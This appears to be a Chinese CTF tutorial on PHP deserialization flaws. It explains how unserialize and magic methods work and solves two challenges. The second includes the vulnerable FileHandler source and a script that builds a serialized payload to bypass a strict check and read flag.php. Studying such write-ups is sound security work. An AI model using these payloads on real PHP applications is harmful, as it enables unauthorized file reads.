WEB漏洞-反序列化之PHP&JAVA全解(上)
PHP 反序列化原理
原理
- 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。
- 其实跟文件解析差不多,都是由于传递的恶意参数被执行(序列化和反序列化相当于加解密过程)
- 在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
- serialize() : 序列化函数,将一个对象转换成一个字符串
- unserialize() : 反序列化函数,将字符串还原成一个对象
触发
- unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法(魔术方法触发条件:1.反序列化2.存在类2.类中存在魔术方法)
- https://www.cnblogs.com/20175211lyz/p/11403397.html
PHP 反序列化-无类问题-本地
$str
变量中的字符串被反序列化后结果为$KEY
的值,就这样通过了if语句
<?php
error_reporting(0);
$KEY = "enderman";
$str = 's:8:"enderman";';
if (unserialize($str) === "$KEY")
{
echo "this is flag";
}
CTF 反序列化-无类执行-实例
进入环境查看到css文件中的信息
之后查看到源码
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['19601'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
?>
分析源码,发现突破口在于cookie,需要利用cookie传递精心构建的序列化字符串,且需要绕过if的第一个条件,然后获得flag
网鼎杯 2020 青龙大真题-有类魔术方法触发
目的是使用自己构建的序列化字符串创造对象,获得flag
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
上半部分为类,下半部分为运行部分
// 该函数要求传入的字符串的assic值处于32~125之间否则传入的字符串不生效
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
// 获取序列化字符串进行序列化操作,由于序列化创建的对象没有经过实例化,所以不会触发构造方法,但是程序运行结束销毁的时候会触发析构方法,所以核心是利用析构方法触发
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
析构方法是唯一可以被触发的方法,类中的三个属性都可以控制
// 根据后面的源码如果要正确获得flag,这里必须在运行process方法前,使op属性为2,这样process方法才会执行读文件操作,由于使用的是===进行比较所以这里可以用整型的数字2来进行绕过,也可以利用空格拼接数字2进行绕过
// $op = 2;
// $op = ' 2';
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
// 由于析构方法中op属性被指定为2,所以会执行read方法,之后执行putput方法输出文件内容
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
// 已经根据顶部的include引入,知道了flag.php的位置,确保filename属性为flag.php
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
// 输出读取到文件的结果
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
整理参数,运行一下代码,获得序列化字符串,然后成功获得flag
<?php
class FileHandler{
public $op=2;//源码告诉我们 op 为 1 时候是执行写入为 2 时执行读
public $filename="flag.php";//文件开头调用的是 flag.php
public $content="enderman";
}
$obj = new FileHandler();
$flag = serialize($obj);
echo $flag;
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:8:"enderman";}
最后一次更新于2022-02-23 15:16
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